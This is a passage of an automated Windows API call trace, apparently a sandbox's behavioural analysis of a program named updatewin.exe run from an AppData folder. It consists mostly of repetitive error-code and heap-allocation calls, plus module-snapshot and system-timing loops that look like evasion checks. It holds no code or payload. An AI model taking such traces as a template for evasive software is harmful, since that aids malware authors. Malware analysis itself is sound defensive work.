c8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\x3d\xad\xb4\xbf\x9c\xfe\x18", lpUsedDefaultChar=0x0) returned 256 [0054.704] GetModuleFileNameA (in: hModule=0x0, lpFilename=0x43b480, nSize=0x104 | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\c3cc523b-34fa-482c-bfe9-b2817c5e36f9\\updatewin.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\c3cc523b-34fa-482c-bfe9-b2817c5e36f9\\updatewin.exe")) returned 0x5e [0054.704] GetLastError () returned 0x0 [0054.704] SetLastError (dwErrCode=0x0) [0054.704] GetLastError () returned 0x0 [0054.704] SetLastError (dwErrCode=0x0) [0054.704] GetLastError () returned 0x0 [0054.704] SetLastError (dwErrCode=0x0) [0054.704] GetLastError () returned 0x0 [0054.704] SetLastError (dwErrCode=0x0) [0054.704] GetLastError () returned 0x0 [0054.704] SetLastError (dwErrCode=0x0) [0054.704] GetLastError () returned 0x0 [0054.704] SetLastError (dwErrCode=0x0) [0054.704] GetLastError () returned 0x0 [0054.704] SetLastError (dwErrCode=0x0) [0054.704] GetLastError () returned 0x0 [0054.704] SetLastError (dwErrCode=0x0) [0054.704] GetLastError () returned 0x0 [0054.704] SetLastError (dwErrCode=0x0) [0054.704] GetLastError () returned 0x0 [0054.704] SetLastError (dwErrCode=0x0) [0054.704] GetLastError () returned 0x0 [0054.705] SetLastError (dwErrCode=0x0) [0054.705] GetLastError () returned 0x0 [0054.705] SetLastError (dwErrCode=0x0) [0054.705] GetLastError () returned 0x0 [0054.705] SetLastError (dwErrCode=0x0) [0054.705] GetLastError () returned 0x0 [0054.705] SetLastError (dwErrCode=0x0) [0054.705] GetLastError () returned 0x0 [0054.705] SetLastError (dwErrCode=0x0) [0054.705] GetLastError () returned 0x0 [0054.705] SetLastError (dwErrCode=0x0) [0054.705] GetLastError () returned 0x0 [0054.705] SetLastError (dwErrCode=0x0) [0054.705] GetLastError () returned 0x0 [0054.705] SetLastError (dwErrCode=0x0) [0054.705] GetLastError () returned 0x0 [0054.705] SetLastError (dwErrCode=0x0) [0054.705] GetLastError () returned 0x0 [0054.705] SetLastError (dwErrCode=0x0) [0054.705] GetLastError () returned 0x0 [0054.705] SetLastError (dwErrCode=0x0) [0054.705] GetLastError () returned 0x0 [0054.705] SetLastError (dwErrCode=0x0) [0054.705] GetLastError () returned 0x0 [0054.706] SetLastError (dwErrCode=0x0) [0054.706] GetLastError () returned 0x0 [0054.706] SetLastError (dwErrCode=0x0) [0054.706] GetLastError () returned 0x0 [0054.706] SetLastError (dwErrCode=0x0) [0054.706] GetLastError () returned 0x0 [0054.706] SetLastError (dwErrCode=0x0) [0054.706] GetLastError () returned 0x0 [0054.706] SetLastError (dwErrCode=0x0) [0054.706] GetLastError () returned 0x0 [0054.706] SetLastError (dwErrCode=0x0) [0054.706] GetLastError () returned 0x0 [0054.706] SetLastError (dwErrCode=0x0) [0054.706] GetLastError () returned 0x0 [0054.706] SetLastError (dwErrCode=0x0) [0054.706] GetLastError () returned 0x0 [0054.706] SetLastError (dwErrCode=0x0) [0054.706] GetLastError () returned 0x0 [0054.706] SetLastError (dwErrCode=0x0) [0054.706] GetLastError () returned 0x0 [0054.706] SetLastError (dwErrCode=0x0) [0054.706] GetLastError () returned 0x0 [0054.706] SetLastError (dwErrCode=0x0) [0054.706] GetLastError () returned 0x0 [0054.707] SetLastError (dwErrCode=0x0) [0054.707] GetLastError () returned 0x0 [0054.707] SetLastError (dwErrCode=0x0) [0054.707] GetLastError () returned 0x0 [0054.707] SetLastError (dwErrCode=0x0) [0054.707] GetLastError () returned 0x0 [0054.707] SetLastError (dwErrCode=0x0) [0054.707] GetLastError () returned 0x0 [0054.707] SetLastError (dwErrCode=0x0) [0054.707] GetLastError () returned 0x0 [0054.707] SetLastError (dwErrCode=0x0) [0054.707] GetLastError () returned 0x0 [0054.707] SetLastError (dwErrCode=0x0) [0054.707] GetLastError () returned 0x0 [0054.707] SetLastError (dwErrCode=0x0) [0054.707] GetLastError () returned 0x0 [0054.707] SetLastError (dwErrCode=0x0) [0054.707] GetLastError () returned 0x0 [0054.707] SetLastError (dwErrCode=0x0) [0054.707] GetLastError () returned 0x0 [0054.707] SetLastError (dwErrCode=0x0) [0054.707] GetLastError () returned 0x0 [0054.707] SetLastError (dwErrCode=0x0) [0054.707] GetLastError () returned 0x0 [0054.707] SetLastError (dwErrCode=0x0) [0054.707] GetLastError () returned 0x0 [0054.707] SetLastError (dwErrCode=0x0) [0054.707] GetLastError () returned 0x0 [0054.708] SetLastError (dwErrCode=0x0) [0054.708] GetLastError () returned 0x0 [0054.708] SetLastError (dwErrCode=0x0) [0054.708] GetLastError () returned 0x0 [0054.708] SetLastError (dwErrCode=0x0) [0054.708] GetLastError () returned 0x0 [0054.708] SetLastError (dwErrCode=0x0) [0054.708] GetLastError () returned 0x0 [0054.708] SetLastError (dwErrCode=0x0) [0054.708] GetLastError () returned 0x0 [0054.708] SetLastError (dwErrCode=0x0) [0054.708] GetLastError () returned 0x0 [0054.708] SetLastError (dwErrCode=0x0) [0054.708] GetLastError () returned 0x0 [0054.708] SetLastError (dwErrCode=0x0) [0054.708] GetLastError () returned 0x0 [0054.708] SetLastError (dwErrCode=0x0) [0054.708] GetLastError () returned 0x0 [0054.708] SetLastError (dwErrCode=0x0) [0054.708] GetLastError () returned 0x0 [0054.708] SetLastError (dwErrCode=0x0) [0054.708] GetLastError () returned 0x0 [0054.708] SetLastError (dwErrCode=0x0) [0054.709] GetLastError () returned 0x0 [0054.709] SetLastError (dwErrCode=0x0) [0054.709] GetLastError () returned 0x0 [0054.709] SetLastError (dwErrCode=0x0) [0054.709] GetLastError () returned 0x0 [0054.709] SetLastError (dwErrCode=0x0) [0054.709] GetLastError () returned 0x0 [0054.709] SetLastError (dwErrCode=0x0) [0054.709] GetLastError () returned 0x0 [0054.709] SetLastError (dwErrCode=0x0) [0054.709] GetLastError () returned 0x0 [0054.709] SetLastError (dwErrCode=0x0) [0054.709] GetLastError () returned 0x0 [0054.709] SetLastError (dwErrCode=0x0) [0054.709] GetLastError () returned 0x0 [0054.709] SetLastError (dwErrCode=0x0) [0054.709] GetLastError () returned 0x0 [0054.709] SetLastError (dwErrCode=0x0) [0054.709] GetLastError () returned 0x0 [0054.709] SetLastError (dwErrCode=0x0) [0054.709] GetLastError () returned 0x0 [0054.709] SetLastError (dwErrCode=0x0) [0054.709] GetLastError () returned 0x0 [0054.709] SetLastError (dwErrCode=0x0) [0054.709] GetLastError () returned 0x0 [0054.709] SetLastError (dwErrCode=0x0) [0054.710] GetLastError () returned 0x0 [0054.710] SetLastError (dwErrCode=0x0) [0054.710] GetLastError () returned 0x0 [0054.710] SetLastError (dwErrCode=0x0) [0054.710] GetLastError () returned 0x0 [0054.710] SetLastError (dwErrCode=0x0) [0054.710] GetLastError () returned 0x0 [0054.710] SetLastError (dwErrCode=0x0) [0054.710] GetLastError () returned 0x0 [0054.710] SetLastError (dwErrCode=0x0) [0054.710] GetLastError () returned 0x0 [0054.710] SetLastError (dwErrCode=0x0) [0054.710] GetLastError () returned 0x0 [0054.710] SetLastError (dwErrCode=0x0) [0054.710] GetLastError () returned 0x0 [0054.710] SetLastError (dwErrCode=0x0) [0054.710] GetLastError () returned 0x0 [0054.710] SetLastError (dwErrCode=0x0) [0054.710] GetLastError () returned 0x0 [0054.710] SetLastError (dwErrCode=0x0) [0054.710] GetLastError () returned 0x0 [0054.710] SetLastError (dwErrCode=0x0) [0054.710] GetLastError () returned 0x0 [0054.710] SetLastError (dwErrCode=0x0) [0054.710] GetLastError () returned 0x0 [0054.710] SetLastError (dwErrCode=0x0) [0054.710] GetLastError () returned 0x0 [0054.711] SetLastError (dwErrCode=0x0) [0054.711] GetLastError () returned 0x0 [0054.711] SetLastError (dwErrCode=0x0) [0054.711] GetLastError () returned 0x0 [0054.711] SetLastError (dwErrCode=0x0) [0054.711] GetLastError () returned 0x0 [0054.711] SetLastError (dwErrCode=0x0) [0054.711] GetLastError () returned 0x0 [0054.711] SetLastError (dwErrCode=0x0) [0054.711] GetLastError () returned 0x0 [0054.711] SetLastError (dwErrCode=0x0) [0054.711] GetLastError () returned 0x0 [0054.711] SetLastError (dwErrCode=0x0) [0054.711] GetLastError () returned 0x0 [0054.711] SetLastError (dwErrCode=0x0) [0054.711] GetLastError () returned 0x0 [0054.711] SetLastError (dwErrCode=0x0) [0054.711] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x67) returned 0x581990 [0054.711] GetLastError () returned 0x0 [0054.711] SetLastError (dwErrCode=0x0) [0054.711] GetLastError () returned 0x0 [0054.711] SetLastError (dwErrCode=0x0) [0054.711] GetLastError () returned 0x0 [0054.711] SetLastError (dwErrCode=0x0) [0054.711] GetLastError () returned 0x0 [0054.711] SetLastError (dwErrCode=0x0) [0054.712] GetLastError () returned 0x0 [0054.712] SetLastError (dwErrCode=0x0) [0054.712] GetLastError () returned 0x0 [0054.712] SetLastError (dwErrCode=0x0) [0054.712] GetLastError () returned 0x0 [0054.712] SetLastError (dwErrCode=0x0) [0054.712] GetLastError () returned 0x0 [0054.712] SetLastError (dwErrCode=0x0) [0054.712] GetLastError () returned 0x0 [0054.712] SetLastError (dwErrCode=0x0) [0054.712] GetLastError () returned 0x0 [0054.712] SetLastError (dwErrCode=0x0) [0054.712] GetLastError () returned 0x0 [0054.712] SetLastError (dwErrCode=0x0) [0054.712] GetLastError () returned 0x0 [0054.712] SetLastError (dwErrCode=0x0) [0054.712] GetLastError () returned 0x0 [0054.712] SetLastError (dwErrCode=0x0) [0054.712] GetLastError () returned 0x0 [0054.712] SetLastError (dwErrCode=0x0) [0054.712] GetLastError () returned 0x0 [0054.712] SetLastError (dwErrCode=0x0) [0054.712] GetLastError () returned 0x0 [0054.712] SetLastError (dwErrCode=0x0) [0054.712] GetLastError () returned 0x0 [0054.712] SetLastError (dwErrCode=0x0) [0054.712] GetLastError () returned 0x0 [0054.713] SetLastError (dwErrCode=0x0) [0054.713] GetLastError () returned 0x0 [0054.713] SetLastError (dwErrCode=0x0) [0054.713] GetLastError () returned 0x0 [0054.713] SetLastError (dwErrCode=0x0) [0054.713] GetLastError () returned 0x0 [0054.713] SetLastError (dwErrCode=0x0) [0054.713] GetLastError () returned 0x0 [0054.713] SetLastError (dwErrCode=0x0) [0054.713] GetLastError () returned 0x0 [0054.713] SetLastError (dwErrCode=0x0) [0054.713] GetLastError () returned 0x0 [0054.713] SetLastError (dwErrCode=0x0) [0054.713] GetLastError () returned 0x0 [0054.713] SetLastError (dwErrCode=0x0) [0054.713] GetLastError () returned 0x0 [0054.713] SetLastError (dwErrCode=0x0) [0054.713] GetLastError () returned 0x0 [0054.713] SetLastError (dwErrCode=0x0) [0054.713] GetLastError () returned 0x0 [0054.713] SetLastError (dwErrCode=0x0) [0054.713] GetLastError () returned 0x0 [0054.713] SetLastError (dwErrCode=0x0) [0054.713] GetLastError () returned 0x0 [0054.713] SetLastError (dwErrCode=0x0) [0054.714] GetLastError () returned 0x0 [0054.714] SetLastError (dwErrCode=0x0) [0054.714] GetLastError () returned 0x0 [0054.714] SetLastError (dwErrCode=0x0) [0054.714] GetLastError () returned 0x0 [0054.714] SetLastError (dwErrCode=0x0) [0054.714] GetLastError () returned 0x0 [0054.714] SetLastError (dwErrCode=0x0) [0054.714] GetLastError () returned 0x0 [0054.714] SetLastError (dwErrCode=0x0) [0054.714] GetLastError () returned 0x0 [0054.714] SetLastError (dwErrCode=0x0) [0054.714] GetLastError () returned 0x0 [0054.714] SetLastError (dwErrCode=0x0) [0054.714] GetLastError () returned 0x0 [0054.714] SetLastError (dwErrCode=0x0) [0054.714] GetLastError () returned 0x0 [0054.714] SetLastError (dwErrCode=0x0) [0054.714] GetLastError () returned 0x0 [0054.714] SetLastError (dwErrCode=0x0) [0054.714] GetLastError () returned 0x0 [0054.714] SetLastError (dwErrCode=0x0) [0054.714] GetLastError () returned 0x0 [0054.714] SetLastError (dwErrCode=0x0) [0054.714] GetLastError () returned 0x0 [0054.714] SetLastError (dwErrCode=0x0) [0054.714] GetLastError () returned 0x0 [0054.715] SetLastError (dwErrCode=0x0) [0054.715] GetLastError () returned 0x0 [0054.715] SetLastError (dwErrCode=0x0) [0054.715] GetLastError () returned 0x0 [0054.715] SetLastError (dwErrCode=0x0) [0054.715] GetLastError () returned 0x0 [0054.715] SetLastError (dwErrCode=0x0) [0054.715] GetLastError () returned 0x0 [0054.715] SetLastError (dwErrCode=0x0) [0054.715] GetLastError () returned 0x0 [0054.715] SetLastError (dwErrCode=0x0) [0054.715] GetLastError () returned 0x0 [0054.715] SetLastError (dwErrCode=0x0) [0054.715] GetLastError () returned 0x0 [0054.715] SetLastError (dwErrCode=0x0) [0054.715] GetLastError () returned 0x0 [0054.715] SetLastError (dwErrCode=0x0) [0054.715] GetLastError () returned 0x0 [0054.715] SetLastError (dwErrCode=0x0) [0054.715] GetLastError () returned 0x0 [0054.715] SetLastError (dwErrCode=0x0) [0054.715] GetLastError () returned 0x0 [0054.715] SetLastError (dwErrCode=0x0) [0054.715] GetLastError () returned 0x0 [0054.715] SetLastError (dwErrCode=0x0) [0054.715] GetLastError () returned 0x0 [0054.716] SetLastError (dwErrCode=0x0) [0054.716] GetLastError () returned 0x0 [0054.716] SetLastError (dwErrCode=0x0) [0054.716] GetLastError () returned 0x0 [0054.716] SetLastError (dwErrCode=0x0) [0054.716] GetLastError () returned 0x0 [0054.716] SetLastError (dwErrCode=0x0) [0054.716] GetLastError () returned 0x0 [0054.716] SetLastError (dwErrCode=0x0) [0054.716] GetLastError () returned 0x0 [0054.716] SetLastError (dwErrCode=0x0) [0054.716] GetLastError () returned 0x0 [0054.716] SetLastError (dwErrCode=0x0) [0054.716] GetLastError () returned 0x0 [0054.716] SetLastError (dwErrCode=0x0) [0054.716] GetLastError () returned 0x0 [0054.716] SetLastError (dwErrCode=0x0) [0054.716] GetLastError () returned 0x0 [0054.716] SetLastError (dwErrCode=0x0) [0054.716] GetLastError () returned 0x0 [0054.716] SetLastError (dwErrCode=0x0) [0054.716] GetLastError () returned 0x0 [0054.716] SetLastError (dwErrCode=0x0) [0054.716] GetLastError () returned 0x0 [0054.716] SetLastError (dwErrCode=0x0) [0054.716] GetLastError () returned 0x0 [0054.716] SetLastError (dwErrCode=0x0) [0054.717] GetLastError () returned 0x0 [0054.717] SetLastError (dwErrCode=0x0) [0054.717] GetLastError () returned 0x0 [0054.717] SetLastError (dwErrCode=0x0) [0054.717] GetLastError () returned 0x0 [0054.717] SetLastError (dwErrCode=0x0) [0054.717] GetLastError () returned 0x0 [0054.717] SetLastError (dwErrCode=0x0) [0054.717] GetLastError () returned 0x0 [0054.717] SetLastError (dwErrCode=0x0) [0054.717] GetLastError () returned 0x0 [0054.717] SetLastError (dwErrCode=0x0) [0054.717] GetLastError () returned 0x0 [0054.717] SetLastError (dwErrCode=0x0) [0054.717] GetLastError () returned 0x0 [0054.717] SetLastError (dwErrCode=0x0) [0054.717] GetLastError () returned 0x0 [0054.717] SetLastError (dwErrCode=0x0) [0054.717] GetLastError () returned 0x0 [0054.717] SetLastError (dwErrCode=0x0) [0054.717] GetLastError () returned 0x0 [0054.717] SetLastError (dwErrCode=0x0) [0054.717] GetLastError () returned 0x0 [0054.717] SetLastError (dwErrCode=0x0) [0054.717] GetLastError () returned 0x0 [0054.717] SetLastError (dwErrCode=0x0) [0054.717] GetLastError () returned 0x0 [0054.718] SetLastError (dwErrCode=0x0) [0054.718] GetLastError () returned 0x0 [0054.718] SetLastError (dwErrCode=0x0) [0054.718] GetLastError () returned 0x0 [0054.718] SetLastError (dwErrCode=0x0) [0054.718] GetLastError () returned 0x0 [0054.718] SetLastError (dwErrCode=0x0) [0054.718] GetLastError () returned 0x0 [0054.718] SetLastError (dwErrCode=0x0) [0054.718] GetLastError () returned 0x0 [0054.718] SetLastError (dwErrCode=0x0) [0054.718] GetLastError () returned 0x0 [0054.718] SetLastError (dwErrCode=0x0) [0054.718] GetLastError () returned 0x0 [0054.718] SetLastError (dwErrCode=0x0) [0054.718] GetLastError () returned 0x0 [0054.718] SetLastError (dwErrCode=0x0) [0054.718] GetLastError () returned 0x0 [0054.718] SetLastError (dwErrCode=0x0) [0054.718] GetLastError () returned 0x0 [0054.718] SetLastError (dwErrCode=0x0) [0054.718] GetLastError () returned 0x0 [0054.718] SetLastError (dwErrCode=0x0) [0054.718] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x98) returned 0x581a00 [0054.718] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x1f) returned 0x581aa0 [0054.718] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x36) returned 0x581ac8 [0054.719] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x37) returned 0x581b08 [0054.719] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x3c) returned 0x581b48 [0054.719] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x31) returned 0x581b90 [0054.719] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x17) returned 0x581bd0 [0054.719] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x24) returned 0x581bf0 [0054.719] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x14) returned 0x581c20 [0054.719] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0xd) returned 0x581c40 [0054.719] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x25) returned 0x581c58 [0054.719] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x39) returned 0x581c88 [0054.719] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x18) returned 0x581cd0 [0054.719] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x17) returned 0x581cf0 [0054.719] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0xe) returned 0x581d10 [0054.719] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x69) returned 0x581d28 [0054.719] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x3e) returned 0x581da0 [0054.719] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x1b) returned 0x581de8 [0054.719] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x1d) returned 0x581e10 [0054.719] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x48) returned 0x581e38 [0054.719] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x12) returned 0x581e88 [0054.719] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x18) returned 0x581ea8 [0054.719] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x1b) returned 0x581ec8 [0054.719] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x24) returned 0x581ef0 [0054.719] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x29) returned 0x581f20 [0054.719] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x1e) returned 0x581f58 [0054.719] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x41) returned 0x581f80 [0054.719] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x17) returned 0x581fd0 [0054.719] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0xf) returned 0x581ff0 [0054.719] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x16) returned 0x582008 [0054.719] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x2a) returned 0x582028 [0054.719] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x29) returned 0x582060 [0054.719] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x15) returned 0x582098 [0054.719] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x1e) returned 0x5820b8 [0054.719] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x2a) returned 0x5820e0 [0054.719] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x12) returned 0x582118 [0054.719] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x18) returned 0x582138 [0054.719] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x46) returned 0x582158 [0054.719] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5811f8 | out: hHeap=0x580000) returned 1 [0054.720] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x800) returned 0x5821a8 [0054.720] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5811f8 [0054.721] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x404e69) returned 0x0 [0054.721] RtlSizeHeap (HeapHandle=0x580000, Flags=0x0, MemoryPointer=0x5811f8) returned 0x80 [0054.721] GetLastError () returned 0x0 [0054.721] SetLastError (dwErrCode=0x0) [0054.721] GetLastError () returned 0x0 [0054.721] SetLastError (dwErrCode=0x0) [0054.721] GetLastError () returned 0x0 [0054.721] SetLastError (dwErrCode=0x0) [0054.721] GetLastError () returned 0x0 [0054.721] SetLastError (dwErrCode=0x0) [0054.721] GetLastError () returned 0x0 [0054.721] SetLastError (dwErrCode=0x0) [0054.721] GetLastError () returned 0x0 [0054.721] SetLastError (dwErrCode=0x0) [0054.722] GetLastError () returned 0x0 [0054.722] SetLastError (dwErrCode=0x0) [0054.722] GetLastError () returned 0x0 [0054.722] SetLastError (dwErrCode=0x0) [0054.722] GetLastError () returned 0x0 [0054.722] SetLastError (dwErrCode=0x0) [0054.722] GetLastError () returned 0x0 [0054.722] SetLastError (dwErrCode=0x0) [0054.722] GetLastError () returned 0x0 [0054.722] SetLastError (dwErrCode=0x0) [0054.722] GetLastError () returned 0x0 [0054.722] SetLastError (dwErrCode=0x0) [0054.722] GetLastError () returned 0x0 [0054.722] SetLastError (dwErrCode=0x0) [0054.722] GetLastError () returned 0x0 [0054.722] LoadLibraryA (lpLibFileName="kernel32.dll") returned 0x76c20000 [0054.722] GetProcAddress (hModule=0x76c20000, lpProcName="CreateToolhelp32Snapshot") returned 0x76c5735f [0054.722] GetProcAddress (hModule=0x76c20000, lpProcName="Module32FirstW") returned 0x76c579f9 [0054.722] CreateToolhelp32Snapshot (dwFlags=0x8, th32ProcessID=0x0) returned 0x78 [0054.724] Module32FirstW (hSnapshot=0x78, lpme=0x18fac8) returned 0 [0054.724] PeekMessageA (in: lpMsg=0x18fa38, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x18fa38) returned 0 [0054.725] GetTickCount () returned 0x1c89b [0054.725] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0054.725] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0054.725] GetACP () returned 0x4e4 [0054.725] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0054.725] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0054.725] GetACP () returned 0x4e4 [0054.725] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0054.725] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0054.725] GetACP () returned 0x4e4 [0054.725] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0054.725] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0054.725] GetACP () returned 0x4e4 [0054.725] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0054.725] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0054.725] GetACP () returned 0x4e4 [0054.725] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0054.725] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0054.725] GetACP () returned 0x4e4 [0054.725] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0054.725] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0054.725] GetACP () returned 0x4e4 [0054.725] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0054.725] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0054.725] GetACP () returned 0x4e4 [0054.725] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0054.726] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0054.726] GetACP () returned 0x4e4 [0054.726] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0054.726] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0054.726] GetACP () returned 0x4e4 [0054.726] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0054.726] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0054.726] GetACP () returned 0x4e4 [0054.726] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0054.726] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0054.726] GetACP () returned 0x4e4 [0054.726] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0054.726] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0054.726] GetACP () returned 0x4e4 [0054.726] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0054.726] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0054.726] GetACP () returned 0x4e4 [0054.726] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0054.726] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0054.726] GetACP () returned 0x4e4 [0054.726] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0054.726] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0054.726] GetACP () returned 0x4e4 [0054.726] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, 